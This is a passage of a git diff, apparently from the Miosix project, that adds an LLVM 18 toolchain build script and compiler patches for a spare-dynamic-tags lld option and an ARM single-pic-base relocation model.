-DLLVM_INCLUDE_EXAMPLES=OFF \ + -DLLVM_PARALLEL_LINK_JOBS=1 \ + "${CCACHE_OPT}" || quit "Failed to configure llvm build" + +cmake --build build || quit "Failed to build llvm" +$SUDO cmake --build build --target install || quit "Failed to install llvm" + +# create links with miosix- prefix +symlink_path="$PREFIX/libexec/miosix-llvm" +if [[ -e "$symlink_path" ]]; then + $SUDO rm -rf "$symlink_path" +fi +$SUDO mkdir -p "$symlink_path" +for src_path in "$PREFIX/bin/"*; do + $SUDO ln -s "$src_path" "$symlink_path"/miosix-$(basename "${src_path}") \ + || quit "Failed to link binary ${src_path}" +done + +# install symlinks in /usr/bin only on Linux +if [[ ! -z "$SUDO" ]]; then + if [[ $(uname -s) != 'Darwin' ]]; then + $SUDO ln -sf "$symlink_path"/* /usr/bin || quit "Failed install symlinks in /usr/bin" + fi +fi + +echo "Successfully built and installed llvm" +cd .. + +# export the newly compiled compiler to use it to compile libraries even if not installed system-wide +export "PATH=${PREFIX}/libexec/miosix-llvm:${PATH}" +# miosix clang toolchain file +TOOLCHAIN=`pwd`/../../../../cmake/Toolchains/clang.cmake + +# TODO compile multilibs + +# +# Part 3: compile libomp +# + +# TODO crosscompile libomp also for other architectures +echo "Building libomp" +cd openmp +cmake -Bbuild -GNinja \ + -DCMAKE_BUILD_TYPE="${BUILD_TYPE}" \ + -DCMAKE_INSTALL_PREFIX="${PREFIX}" \ + -DCMAKE_TOOLCHAIN_FILE="${TOOLCHAIN}" \ + -DCMAKE_C_FLAGS="-mcpu=cortex-m0plus -mthumb" \ + -DCMAKE_CXX_FLAGS="-mcpu=cortex-m0plus -mthumb" \ + -DLIBOMP_ENABLE_SHARED=OFF || quit "Failed to configure libomp build" + +cmake --build build || quit "Failed to build libomp" +$SUDO cmake --build build --target install || quit "Failed to install libomp" +echo "Successfully built and installed libomp" +cd .. + +echo "Successfully installed miosix-llvm at ${PREFIX}" diff --git a/tools/compiler/llvm-18/patches/Add-GCC-s-spare-dynamic-tags.patch b/tools/compiler/llvm-18/patches/Add-GCC-s-spare-dynamic-tags.patch new file mode 100644 index 000000000..917591c24 --- /dev/null +++ b/tools/compiler/llvm-18/patches/Add-GCC-s-spare-dynamic-tags.patch @@ -0,0 +1,76 @@ +From 121c08a2dd3b3e170bc10f622bbe21fa8025990a Mon Sep 17 00:00:00 2001 +From: Alberto Nidasio +Date: Thu, 5 Sep 2024 09:53:55 +0200 +Subject: [PATCH 391/392] Add GCC's `--spare-dynamic-tags` + +--- + lld/ELF/Config.h | 5 +++++ + lld/ELF/Driver.cpp | 6 ++++++ + lld/ELF/Options.td | 3 +++ + lld/ELF/SyntheticSections.cpp | 3 +++ + 4 files changed, 17 insertions(+) + +diff --git a/lld/ELF/Config.h b/lld/ELF/Config.h +index 3a4a47d900fe..607420eaa51e 100644 +--- a/lld/ELF/Config.h ++++ b/lld/ELF/Config.h +@@ -429,6 +429,11 @@ struct Config { + + unsigned threadCount; + ++ // This option specifies the number of empty slots to leave in the .dynamic ++ // section of ELF shared objects. Empty slots may be needed by post processing ++ // tools, such as the prelinker. The default is 0. ++ unsigned spareDynamicTags = 0; ++ + // If an input file equals a key, remap it to the value. + llvm::DenseMap remapInputs; + // If an input file matches a wildcard pattern, remap it to the value. +diff --git a/lld/ELF/Driver.cpp b/lld/ELF/Driver.cpp +index 8b2c32b15348..0b1b7fd65eb6 100644 +--- a/lld/ELF/Driver.cpp ++++ b/lld/ELF/Driver.cpp +@@ -1595,6 +1595,12 @@ static void readConfigs(opt::InputArgList &args) { + config->thinLTOJobs = arg->getValue(); + config->threadCount = parallel::strategy.compute_thread_count(); + ++ // --spare-dynamic-tags= takes a positive integer. ++ if (auto *arg = args.getLastArg(OPT_spare_dynamic_tags)) { ++ StringRef v(arg->getValue()); ++ llvm::to_integer(v, config->spareDynamicTags, 0); ++ } ++ + if (config->ltoPartitions == 0) + error("--lto-partitions: number of threads must be > 0"); + if (!get_threadpool_strategy(config->thinLTOJobs)) +diff --git a/lld/ELF/Options.td b/lld/ELF/Options.td +index c2c9cabc92a4..09084429d465 100644 +--- a/lld/ELF/Options.td ++++ b/lld/ELF/Options.td +@@ -418,6 +418,9 @@ defm soname: Eq<"soname", "Set DT_SONAME">; + defm sort_section: + Eq<"sort-section", "Specifies sections sorting rule when linkerscript is used">; + ++def spare_dynamic_tags: JJ<"spare-dynamic-tags=">, ++ HelpText<"This option specifies the number of empty slots to leave in the .dynamic section of ELF shared objects. Empty slots may be needed by post processing tools, such as the prelinker. When not specified, no spare tags are created.">; ++ + def start_group: F<"start-group">, + HelpText<"Ignored for compatibility with GNU unless you pass --warn-backrefs">; + +diff --git a/lld/ELF/SyntheticSections.cpp b/lld/ELF/SyntheticSections.cpp +index bada394aa30d..cfb27e97b09c 100644 +--- a/lld/ELF/SyntheticSections.cpp ++++ b/lld/ELF/SyntheticSections.cpp +@@ -1550,6 +1550,9 @@ DynamicSection::computeContents() { + if (config->emachine == EM_PPC64) + addInt(DT_PPC64_OPT, getPPC64TargetInfo()->ppc64DynamicSectionOpt); + ++ for (unsigned i = 0; i < config->spareDynamicTags; i++) ++ addInt(DT_NULL, 0); ++ + addInt(DT_NULL, 0); + return entries; + } +-- +2.39.2 (Apple Git-143) + diff --git a/tools/compiler/llvm-18/patches/Implemented-single-pic-base.patch b/tools/compiler/llvm-18/patches/Implemented-single-pic-base.patch new file mode 100644 index 000000000..ac00b2217 --- /dev/null +++ b/tools/compiler/llvm-18/patches/Implemented-single-pic-base.patch @@ -0,0 +1,585 @@ +From 52e88241d87199ee364f3ac0408bb6ef0438f4e9 Mon Sep 17 00:00:00 2001 +From: Alberto Nidasio +Date: Thu, 19 Dec 2024 11:39:53 +0100 +Subject: [PATCH 392/392] Implemented `single-pic-base` + +--- + clang/include/clang/Basic/LangOptions.def | 1 + + clang/include/clang/Driver/Options.td | 9 +++++-- + clang/lib/Driver/ToolChains/CommonArgs.cpp | 25 +++++++++++++++---- + clang/tools/driver/cc1as_main.cpp | 2 +- + flang/lib/Frontend/CompilerInvocation.cpp | 1 + + lld/ELF/Arch/ARM.cpp | 2 ++ + lld/ELF/Config.h | 2 +- + lld/ELF/Driver.cpp | 2 ++ + lld/ELF/InputSection.cpp | 3 +++ + lld/ELF/Relocations.cpp | 1 + + lld/ELF/Relocations.h | 1 + + llvm/include/llvm/MC/MCExpr.h | 1 + + llvm/include/llvm/Support/CodeGen.h | 2 +- + llvm/lib/CodeGen/CommandFlags.cpp | 4 ++- + llvm/lib/MC/MCExpr.cpp | 2 ++ + llvm/lib/Target/ARM/ARMAsmPrinter.cpp | 22 +++++++++------- + llvm/lib/Target/ARM/ARMBaseInstrInfo.cpp | 9 ++++--- + llvm/lib/Target/ARM/ARMConstantPoolValue.cpp | 2 ++ + llvm/lib/Target/ARM/ARMConstantPoolValue.h | 1 + + llvm/lib/Target/ARM/ARMExpandPseudoInsts.cpp | 11 +++++--- + llvm/lib/Target/ARM/ARMISelLowering.cpp | 25 +++++++++++++++++-- + .../lib/Target/ARM/ARMInstructionSelector.cpp | 6 ++++- + llvm/lib/Target/ARM/ARMSubtarget.cpp | 5 +++- + llvm/lib/Target/ARM/ARMSubtarget.h | 1 + + .../lib/Target/ARM/MCTargetDesc/ARMBaseInfo.h | 9 ++++--- + .../ARM/MCTargetDesc/ARMELFObjectWriter.cpp | 4 +++ + llvm/lib/Target/TargetMachine.cpp | 2 +- + 27 files changed, 120 insertions(+), 35 deletions(-) + +diff --git a/clang/include/clang/Basic/LangOptions.def b/clang/include/clang/Basic/LangOptions.def +index 4942dcaa086e..f4e5f6302a73 100644 +--- a/clang/include/clang/Basic/LangOptions.def ++++ b/clang/include/clang/Basic/LangOptions.def +@@ -206,6 +206,7 @@ COMPATIBLE_VALUE_LANGOPT(PICLevel , 2, 0, "__PIC__ level") + COMPATIBLE_VALUE_LANGOPT(PIE , 1, 0, "is pie") + LANGOPT(ROPI , 1, 0, "Read-only position independence") + LANGOPT(RWPI , 1, 0, "Read-write position independence") ++LANGOPT(SINGLE_PIC_BASE , 1, 0, "R9 points to the base of the data segment") + COMPATIBLE_LANGOPT(GNUInline , 1, 0, "GNU inline semantics") + COMPATIBLE_LANGOPT(NoInlineDefine , 1, 0, "__NO_INLINE__ predefined macro") + COMPATIBLE_LANGOPT(Deprecated , 1, 0, "__DEPRECATED predefined macro") +diff --git a/clang/include/clang/Driver/Options.td b/clang/include/clang/Driver/Options.td +index 175bedbfb4d0..a7b0683a28d8 100644 +--- a/clang/include/clang/Driver/Options.td ++++ b/clang/include/clang/Driver/Options.td +@@ -3560,6 +3560,11 @@ defm rwpi : BoolFOption<"rwpi", + PosFlag, + NegFlag>; ++defm single_pic_base : BoolOption<"m", "single-pic-base", ++ LangOpts<"SINGLE_PIC_BASE">, DefaultFalse, ++ PosFlag, ++ NegFlag>; + def fplugin_EQ : Joined<["-"], "fplugin=">, Group, + Flags<[NoXarchOption]>, MetaVarName<"">, + HelpText<"Load the named plugin (dynamic shared object)">; +@@ -6750,9 +6755,9 @@ def migrator_no_finalize_removal : Flag<["-"], "no-finalize-removal">, + let Visibility = [CC1Option, CC1AsOption, FC1Option] in { + + def mrelocation_model : Separate<["-"], "mrelocation-model">, +- HelpText<"The relocation model to use">, Values<"static,pic,ropi,rwpi,ropi-rwpi,dynamic-no-pic">, ++ HelpText<"The relocation model to use">, Values<"static,pic,ropi,rwpi,ropi-rwpi,dynamic-no-pic,single-pic-base">, + NormalizedValuesScope<"llvm::Reloc">, +- NormalizedValues<["Static", "PIC_", "ROPI", "RWPI", "ROPI_RWPI", "DynamicNoPIC"]>, ++ NormalizedValues<["Static", "PIC_", "ROPI", "RWPI", "ROPI_RWPI", "DynamicNoPIC", "SINGLE_PIC_BASE"]>, + MarshallingInfoEnum, "PIC_">; + def debug_info_kind_EQ : Joined<["-"], "debug-info-kind=">; + +diff --git a/clang/lib/Driver/ToolChains/CommonArgs.cpp b/clang/lib/Driver/ToolChains/CommonArgs.cpp +index 2b916f000336..8822fc3b2e77 100644 +--- a/clang/lib/Driver/ToolChains/CommonArgs.cpp ++++ b/clang/lib/Driver/ToolChains/CommonArgs.cpp +@@ -1760,6 +1760,8 @@ const char *tools::RelocationModelName(llvm::Reloc::Model Model) { + return "rwpi"; + case llvm::Reloc::ROPI_RWPI: + return "ropi-rwpi"; ++ case llvm::Reloc::SINGLE_PIC_BASE: ++ return "single-pic-base"; + } + llvm_unreachable("Unknown Reloc::Model kind"); + } +@@ -1940,8 +1942,17 @@ tools::ParsePICArgs(const ToolChain &ToolChain, const ArgList &Args) { + RWPI = true; + } + +- // ROPI and RWPI are not compatible with PIC or PIE. +- if ((ROPI || RWPI) && (PIC || PIE)) ++ bool SINGLE_PIC_BASE = false; ++ Arg* LastSINGLE_PIC_BASEArg = Args.getLastArg(options::OPT_msingle_pic_base, options::OPT_mno_single_pic_base); ++ if (LastSINGLE_PIC_BASEArg && LastSINGLE_PIC_BASEArg->getOption().matches(options::OPT_msingle_pic_base)) { ++ if (!EmbeddedPISupported) ++ ToolChain.getDriver().Diag(diag::err_drv_unsupported_opt_for_target) ++ << LastRWPIArg->getSpelling() << Triple.str(); ++ SINGLE_PIC_BASE = true; ++ } ++ ++ // ROPI and RWPI are not compatible with PIC, PIE or SINLE_PIC_BASE. ++ if ((ROPI || RWPI) && (PIC || PIE || SINGLE_PIC_BASE)) + ToolChain.getDriver().Diag(diag::err_drv_ropi_rwpi_incompatible_with_pic); + + if (Triple.isMIPS()) { +@@ -1961,10 +1972,14 @@ tools::ParsePICArgs(const ToolChain &ToolChain, const ArgList &Args) { + IsPICLevelTwo = false; + } + +- if (PIC) +- return std::make_tuple(llvm::Reloc::PIC_, IsPICLevelTwo ? 2U : 1U, PIE); +- + llvm::Reloc::Model RelocM = llvm::Reloc::Static; ++ if (SINGLE_PIC_BASE || PIC) { ++ if (SINGLE_PIC_BASE) ++ RelocM = llvm::Reloc::SINGLE_PIC_BASE; ++ else if (PIC) ++ RelocM = llvm::Reloc::PIC_; ++ return std::make_tuple(RelocM, IsPICLevelTwo ? 2U : 1U, PIE); ++ } + if (ROPI && RWPI) + RelocM = llvm::Reloc::ROPI_RWPI; + else if (ROPI) +diff --git a/clang/tools/driver/cc1as_main.cpp b/clang/tools/driver/cc1as_main.cpp +index bc398fa0731f..4f3e144a5ac6 100644 +--- a/clang/tools/driver/cc1as_main.cpp ++++ b/clang/tools/driver/cc1as_main.cpp +@@ -447,7 +447,7 @@ static bool ExecuteAssemblerImpl(AssemblerInvocation &Opts, + bool PIC = false; + if (Opts.RelocationModel == "static") { + PIC = false; +- } else if (Opts.RelocationModel == "pic") { ++ } else if (Opts.RelocationModel == "pic" || Opts.RelocationModel == "single-pic-base") { + PIC = true; + } else { + assert(Opts.RelocationModel == "dynamic-no-pic" && +diff --git a/flang/lib/Frontend/CompilerInvocation.cpp b/flang/lib/Frontend/CompilerInvocation.cpp +index a3c41fb4611f..135d1a5e1a05 100644 +--- a/flang/lib/Frontend/CompilerInvocation.cpp ++++ b/flang/lib/Frontend/CompilerInvocation.cpp +@@ -356,6 +356,7 @@ static void parseCodeGenArgs(Fortran::frontend::CodeGenOptions &opts, + .Case("ropi", llvm::Reloc::ROPI) + .Case("rwpi", llvm::Reloc::RWPI) + .Case("ropi-rwpi", llvm::Reloc::ROPI_RWPI) ++ .Case("single-pic-base", llvm::Reloc::SINGLE_PIC_BASE) + .Default(std::nullopt); + if (relocModel.has_value()) + opts.setRelocationModel(*relocModel); +diff --git a/lld/ELF/Arch/ARM.cpp b/lld/ELF/Arch/ARM.cpp +index 687f9499009d..4ab6f18f43c7 100644 +--- a/lld/ELF/Arch/ARM.cpp ++++ b/lld/ELF/Arch/ARM.cpp +@@ -140,6 +140,8 @@ RelExpr ARM::getRelExpr(RelType type, const Symbol &s, + return R_PC; + if (config->target2 == Target2Policy::Abs) + return R_ABS; ++ if (config->target2 == Target2Policy::MxAbs) ++ return R_MX_ABS; + return R_GOT_PC; + case R_ARM_TLS_GD32: + return R_TLSGD_PC; +diff --git a/lld/ELF/Config.h b/lld/ELF/Config.h +index 607420eaa51e..6afe74e0a84d 100644 +--- a/lld/ELF/Config.h ++++ b/lld/ELF/Config.h +@@ -88,7 +88,7 @@ enum class SortSectionPolicy { + }; + + // For --target2 +-enum class Target2Policy { Abs, Rel, GotRel }; ++enum class Target2Policy { Abs, Rel, GotRel, MxAbs }; + + // For tracking ARM Float Argument PCS + enum class ARMVFPArgKind { Default, Base, VFP, ToolChain }; +diff --git a/lld/ELF/Driver.cpp b/lld/ELF/Driver.cpp +index 0b1b7fd65eb6..524aa6faa839 100644 +--- a/lld/ELF/Driver.cpp ++++ b/lld/ELF/Driver.cpp +@@ -730,6 +730,8 @@ static Target2Policy getTarget2(opt::InputArgList &args) { + return Target2Policy::Rel; + if (s == "abs") + return Target2Policy::Abs; ++ if (s == "mx-data-rel") ++ return Target2Policy::MxAbs; + if (s == "got-rel") + return Target2Policy::GotRel; + error("unknown --target2 option: " + s); +diff --git a/lld/ELF/InputSection.cpp b/lld/ELF/InputSection.cpp +index e033a715b592..05329b2f57e9 100644 +--- a/lld/ELF/InputSection.cpp ++++ b/lld/ELF/InputSection.cpp +@@ -677,6 +677,9 @@ uint64_t InputSectionBase::getRelocTargetVA(const InputFile *file, RelType type, + case R_RISCV_ADD: + case R_RISCV_LEB128: + return sym.getVA(a); ++ case R_MX_ABS: ++ // Do not leave relocations behind and subtract DATA_BASE ++ return sym.getVA(a) - sym.getGotVA(); + case R_ADDEND: + return a; + case R_RELAX_HINT: +diff --git a/lld/ELF/Relocations.cpp b/lld/ELF/Relocations.cpp +index 92a1b9baaca3..33041e5ad0d1 100644 +--- a/lld/ELF/Relocations.cpp ++++ b/lld/ELF/Relocations.cpp +@@ -233,6 +233,7 @@ static RelExpr toPlt(RelExpr expr) { + case R_PC: + return R_PLT_PC; + case R_ABS: ++ case R_MX_ABS: // ? + return R_PLT; + case R_GOTREL: + return R_PLT_GOTREL; +diff --git a/lld/ELF/Relocations.h b/lld/ELF/Relocations.h +index 7eb8a811e693..3bd18c1d8494 100644 +--- a/lld/ELF/Relocations.h ++++ b/lld/ELF/Relocations.h +@@ -97,6 +97,7 @@ enum RelExpr { + R_MIPS_GOT_OFF32, + R_MIPS_TLSGD, + R_MIPS_TLSLD, ++ R_MX_ABS, + R_PPC32_PLTREL, + R_PPC64_CALL, + R_PPC64_CALL_PLT, +diff --git a/llvm/include/llvm/MC/MCExpr.h b/llvm/include/llvm/MC/MCExpr.h +index 67836292874f..50589db0b6eb 100644 +--- a/llvm/include/llvm/MC/MCExpr.h ++++ b/llvm/include/llvm/MC/MCExpr.h +@@ -229,6 +229,7 @@ public: + + VK_ARM_NONE, + VK_ARM_GOT_PREL, ++ VK_ARM_GOT_BREL, + VK_ARM_TARGET1, + VK_ARM_TARGET2, + VK_ARM_PREL31, +diff --git a/llvm/include/llvm/Support/CodeGen.h b/llvm/include/llvm/Support/CodeGen.h +index 46f99811763a..089770f7f7e0 100644 +--- a/llvm/include/llvm/Support/CodeGen.h ++++ b/llvm/include/llvm/Support/CodeGen.h +@@ -22,7 +22,7 @@ namespace llvm { + // Relocation model types. + namespace Reloc { + // Cannot be named PIC due to collision with -DPIC +- enum Model { Static, PIC_, DynamicNoPIC, ROPI, RWPI, ROPI_RWPI }; ++ enum Model { Static, PIC_, DynamicNoPIC, ROPI, RWPI, ROPI_RWPI, SINGLE_PIC_BASE }; + } + + // Code model types. +diff --git a/llvm/lib/CodeGen/CommandFlags.cpp b/llvm/lib/CodeGen/CommandFlags.cpp +index 51406fb287e6..1a658786b843 100644 +--- a/llvm/lib/CodeGen/CommandFlags.cpp ++++ b/llvm/lib/CodeGen/CommandFlags.cpp +@@ -146,7 +146,9 @@ codegen::RegisterCodeGenFlags::RegisterCodeGenFlags() { + Reloc::RWPI, "rwpi", + "Read-write data relocatable, accessed relative to static base"), + clEnumValN(Reloc::ROPI_RWPI, "ropi-rwpi", +- "Combination of ropi and rwpi"))); ++ "Combination of ropi and rwpi"), ++ clEnumValN(Reloc::SINGLE_PIC_BASE, "single-pic-base", ++ "R9 points to the base of the data segment"))); + CGBINDOPT(RelocModel); + + static cl::opt ThreadModel( +diff --git a/llvm/lib/MC/MCExpr.cpp b/llvm/lib/MC/MCExpr.cpp +index 80def6dfc24b..daf6c07c91be 100644 +--- a/llvm/lib/MC/MCExpr.cpp ++++ b/llvm/lib/MC/MCExpr.cpp +@@ -257,6 +257,7 @@ StringRef MCSymbolRefExpr::getVariantKindName(VariantKind Kind) { + case VK_X86_PLTOFF: return "PLTOFF"; + case VK_ARM_NONE: return "none"; + case VK_ARM_GOT_PREL: return "GOT_PREL"; ++ case VK_ARM_GOT_BREL: return "GOT_BREL"; + case VK_ARM_TARGET1: return "target1"; + case VK_ARM_TARGET2: return "target2"; + case VK_ARM_PREL31: return "prel31"; +@@ -495,6 +496,7 @@ MCSymbolRefExpr::getVariantKindForName(StringRef Name) { + .Case("ldplt", VK_Hexagon_LD_PLT) + .Case("none", VK_ARM_NONE) + .Case("got_prel", VK_ARM_GOT_PREL) ++ .Case("got_brel", VK_ARM_GOT_BREL) + .Case("target1", VK_ARM_TARGET1) + .Case("target2", VK_ARM_TARGET2) + .Case("prel31", VK_ARM_PREL31) +diff --git a/llvm/lib/Target/ARM/ARMAsmPrinter.cpp b/llvm/lib/Target/ARM/ARMAsmPrinter.cpp +index 15cda9b9432d..ecf5fe082bbd 100644 +--- a/llvm/lib/Target/ARM/ARMAsmPrinter.cpp ++++ b/llvm/lib/Target/ARM/ARMAsmPrinter.cpp +@@ -806,15 +806,17 @@ void ARMAsmPrinter::emitAttributes() { + } + + // We currently do not support using R9 as the TLS pointer. +- if (STI.isRWPI()) +- ATS.emitAttribute(ARMBuildAttrs::ABI_PCS_R9_use, +- ARMBuildAttrs::R9IsSB); +- else if (STI.isR9Reserved()) +- ATS.emitAttribute(ARMBuildAttrs::ABI_PCS_R9_use, +- ARMBuildAttrs::R9Reserved); +- else +- ATS.emitAttribute(ARMBuildAttrs::ABI_PCS_R9_use, +- ARMBuildAttrs::R9IsGPR); ++ if (!STI.isSinglePicBase()) { ++ if (STI.isRWPI()) ++ ATS.emitAttribute(ARMBuildAttrs::ABI_PCS_R9_use, ++ ARMBuildAttrs::R9IsSB); ++ else if (STI.isR9Reserved()) ++ ATS.emitAttribute(ARMBuildAttrs::ABI_PCS_R9_use, ++ ARMBuildAttrs::R9Reserved); ++ else ++ ATS.emitAttribute(ARMBuildAttrs::ABI_PCS_R9_use, ++ ARMBuildAttrs::R9IsGPR); ++ } + } + + //===----------------------------------------------------------------------===// +@@ -850,6 +852,8 @@ getModifierVariantKind(ARMCP::ARMCPModifier Modifier) { + return MCSymbolRefExpr::VK_ARM_SBREL; + case ARMCP::GOT_PREL: + return MCSymbolRefExpr::VK_ARM_GOT_PREL; ++ case ARMCP::GOT_BREL: ++ return MCSymbolRefExpr::VK_ARM_GOT_BREL; + case ARMCP::SECREL: + return MCSymbolRefExpr::VK_SECREL; + } +diff --git a/llvm/lib/Target/ARM/ARMBaseInstrInfo.cpp b/llvm/lib/Target/ARM/ARMBaseInstrInfo.cpp +index 4bf65be6f102..d7c4d85ac008 100644 +--- a/llvm/lib/Target/ARM/ARMBaseInstrInfo.cpp ++++ b/llvm/lib/Target/ARM/ARMBaseInstrInfo.cpp +@@ -4912,8 +4912,8 @@ bool ARMBaseInstrInfo::verifyInstruction(const MachineInstr &MI, + void ARMBaseInstrInfo::expandLoadStackGuardBase(MachineBasicBlock::iterator MI, + unsigned LoadImmOpc, + unsigned LoadOpc) const { +- assert(!Subtarget.isROPI() && !Subtarget.isRWPI() && +- "ROPI/RWPI not currently supported with stack guard"); ++ assert(!Subtarget.isROPI() && !Subtarget.isRWPI() && !Subtarget.isSinglePicBase() && ++ "ROPI/RWPI/SINGLE_PIC_BASE not currently supported with stack guard"); + + MachineBasicBlock &MBB = *MI->getParent(); + DebugLoc DL = MI->getDebugLoc(); +@@ -4961,7 +4961,7 @@ void ARMBaseInstrInfo::expandLoadStackGuardBase(MachineBasicBlock::iterator MI, + else if (IsIndirect) + TargetFlags |= ARMII::MO_COFFSTUB; + } else if (IsIndirect) { +- TargetFlags |= ARMII::MO_GOT; ++ TargetFlags |= ARMII::MO_GOT_PREL; + } + + if (LoadImmOpc == ARM::tMOVi32imm) { // Thumb-1 execute-only +@@ -5549,7 +5549,8 @@ ARMBaseInstrInfo::getSerializableBitmaskMachineOperandTargetFlags() const { + + static const std::pair TargetFlags[] = { + {MO_COFFSTUB, "arm-coffstub"}, +- {MO_GOT, "arm-got"}, ++ {MO_GOT_PREL, "arm-got"}, ++ {MO_GOT_BREL, "arm-got-brel"}, + {MO_SBREL, "arm-sbrel"}, + {MO_DLLIMPORT, "arm-dllimport"}, + {MO_SECREL, "arm-secrel"}, +diff --git a/llvm/lib/Target/ARM/ARMConstantPoolValue.cpp b/llvm/lib/Target/ARM/ARMConstantPoolValue.cpp +index c1df7ef43cad..f5c9a6f5081d 100644 +--- a/llvm/lib/Target/ARM/ARMConstantPoolValue.cpp ++++ b/llvm/lib/Target/ARM/ARMConstantPoolValue.cpp +@@ -60,6 +60,8 @@ StringRef ARMConstantPoolValue::getModifierText() const { + return "tlsgd"; + case ARMCP::GOT_PREL: + return "GOT_PREL"; ++ case ARMCP::GOT_BREL: ++ return "GOT_BREL"; + case ARMCP::GOTTPOFF: + return "gottpoff"; + case ARMCP::TPOFF: +diff --git a/llvm/lib/Target/ARM/ARMConstantPoolValue.h b/llvm/lib/Target/ARM/ARMConstantPoolValue.h +index 261070a74ba3..0829334fc75e 100644 +--- a/llvm/lib/Target/ARM/ARMConstantPoolValue.h ++++ b/llvm/lib/Target/ARM/ARMConstantPoolValue.h +@@ -47,6 +47,7 @@ namespace ARMCP { + no_modifier, /// None + TLSGD, /// Thread Local Storage (General Dynamic Mode) + GOT_PREL, /// Global Offset Table, PC Relative ++ GOT_BREL, /// Global Offset Table, Base Relative + GOTTPOFF, /// Global Offset Table, Thread Pointer Offset + TPOFF, /// Thread Pointer Offset + SECREL, /// Section Relative (Windows TLS) +diff --git a/llvm/lib/Target/ARM/ARMExpandPseudoInsts.cpp b/llvm/lib/Target/ARM/ARMExpandPseudoInsts.cpp +index 2f9236bb977f..3512f5030149 100644 +--- a/llvm/lib/Target/ARM/ARMExpandPseudoInsts.cpp ++++ b/llvm/lib/Target/ARM/ARMExpandPseudoInsts.cpp +@@ -20,6 +20,7 @@ + #include "ARMMachineFunctionInfo.h" + #include "ARMSubtarget.h" + #include "MCTargetDesc/ARMAddressingModes.h" ++#include "MCTargetDesc/ARMBaseInfo.h" + #include "llvm/CodeGen/LivePhysRegs.h" + #include "llvm/CodeGen/MachineFrameInfo.h" + #include "llvm/CodeGen/MachineFunctionPass.h" +@@ -2649,9 +2650,13 @@ bool ARMExpandPseudo::ExpandMI(MachineBasicBlock &MBB, + + if (IsPIC) { + unsigned PCAdj = IsARM ? 8 : 4; +- auto Modifier = (Flags & ARMII::MO_GOT) +- ? ARMCP::GOT_PREL +- : ARMCP::no_modifier; ++ ++ auto Modifier = ARMCP::no_modifier; ++ if (Flags & ARMII::MO_GOT_PREL) { ++ Modifier = ARMCP::GOT_PREL; ++ } else if (Flags & ARMII::MO_GOT_BREL) { ++ Modifier = ARMCP::GOT_BREL; ++ } + ARMPCLabelIndex = AFI->createPICLabelUId(); + CPV = ARMConstantPoolConstant::Create( + GV, ARMPCLabelIndex, ARMCP::CPValue, PCAdj, Modifier, +diff --git a/llvm/lib/Target/ARM/ARMISelLowering.cpp b/llvm/lib/Target/ARM/ARMISelLowering.cpp +index 23852cf4979f..730bc8bd5c28 100644 +--- a/llvm/lib/Target/ARM/ARMISelLowering.cpp ++++ b/llvm/lib/Target/ARM/ARMISelLowering.cpp +@@ -3918,6 +3918,7 @@ SDValue ARMTargetLowering::LowerGlobalAddress(SDValue Op, + + SDValue ARMTargetLowering::LowerGlobalAddressELF(SDValue Op, + SelectionDAG &DAG) const { ++ // DAG.setGraphColor(Op.getNode(), "green"); + EVT PtrVT = getPointerTy(DAG.getDataLayout()); + SDLoc dl(Op); + const GlobalValue *GV = cast(Op)->getGlobal(); +@@ -3929,10 +3930,30 @@ SDValue ARMTargetLowering::LowerGlobalAddressELF(SDValue Op, + if (SDValue V = promoteToConstantPool(this, GV, DAG, PtrVT, dl)) + return V; + +- if (isPositionIndependent()) { ++ if (Subtarget->isSinglePicBase()) { ++ bool UseGOT_BREL = !isa(GV); ++ SDValue G = DAG.getTargetGlobalAddress(GV, dl, PtrVT, 0, UseGOT_BREL ? ARMII::MO_GOT_BREL : 0); ++ ++ if (UseGOT_BREL) { ++ ARMConstantPoolValue *CPV = ARMConstantPoolConstant::Create(GV, ARMCP::GOT_BREL); ++ SDValue G_const = DAG.getTargetConstantPool(CPV, PtrVT, Align(4)); ++ SDValue G_wrapped = DAG.getNode(ARMISD::Wrapper, dl, MVT::i32, G_const); ++ SDValue G_wrapped_loaded = DAG.getLoad(PtrVT, dl, DAG.getEntryNode(), G_wrapped, MachinePointerInfo::getConstantPool(DAG.getMachineFunction())); ++ ++ SDValue r9 = DAG.getCopyFromReg(DAG.getEntryNode(), dl, ARM::R9, PtrVT); ++ SDValue got_entry_address = DAG.getNode(ISD::ADD, dl, PtrVT, r9, G_wrapped_loaded); ++ SDValue our_address = DAG.getLoad(PtrVT, dl, DAG.getEntryNode(), got_entry_address, ++ MachinePointerInfo::getGOT(DAG.getMachineFunction())); ++ ++ return our_address; ++ } else { ++ outs() << "Using ARMISD::WrapperPIC for " << GV->getName() << "\n"; ++ return DAG.getNode(ARMISD::WrapperPIC, dl, PtrVT, G); ++ } ++ } else if (isPositionIndependent()) { + bool UseGOT_PREL = !TM.shouldAssumeDSOLocal(*GV->getParent(), GV); + SDValue G = DAG.getTargetGlobalAddress(GV, dl, PtrVT, 0, +- UseGOT_PREL ? ARMII::MO_GOT : 0); ++ UseGOT_PREL ? ARMII::MO_GOT_PREL : 0); + SDValue Result = DAG.getNode(ARMISD::WrapperPIC, dl, PtrVT, G); + if (UseGOT_PREL) + Result = +diff --git a/llvm/lib/Target/ARM/ARMInstructionSelector.cpp b/llvm/lib/Target/ARM/ARMInstructionSelector.cpp +index f391058a7051..f1160fadda83 100644 +--- a/llvm/lib/Target/ARM/ARMInstructionSelector.cpp ++++ b/llvm/lib/Target/ARM/ARMInstructionSelector.cpp +@@ -608,6 +608,10 @@ bool ARMInstructionSelector::insertComparison(CmpConstants Helper, InsertInfo I, + + bool ARMInstructionSelector::selectGlobal(MachineInstrBuilder &MIB, + MachineRegisterInfo &MRI) const { ++ if (STI.isSinglePicBase()) { ++ LLVM_DEBUG(dbgs() << "SINGLE_PIC_BASE not supported yet\n"); ++ return false; ++ } + if ((STI.isROPI() || STI.isRWPI()) && !STI.isTargetELF()) { + LLVM_DEBUG(dbgs() << "ROPI and RWPI only supported for ELF\n"); + return false; +@@ -680,7 +684,7 @@ bool ARMInstructionSelector::selectGlobal(MachineInstrBuilder &MIB, + if (STI.isTargetDarwin()) + TargetFlags |= ARMII::MO_NONLAZY; + if (STI.isGVInGOT(GV)) +- TargetFlags |= ARMII::MO_GOT; ++ TargetFlags |= ARMII::MO_GOT_PREL; + MIB->getOperand(1).setTargetFlags(TargetFlags); + + if (Indirect) { +diff --git a/llvm/lib/Target/ARM/ARMSubtarget.cpp b/llvm/lib/Target/ARM/ARMSubtarget.cpp +index 922fa93226f2..1180fde82a57 100644 +--- a/llvm/lib/Target/ARM/ARMSubtarget.cpp ++++ b/llvm/lib/Target/ARM/ARMSubtarget.cpp +@@ -248,7 +248,7 @@ void 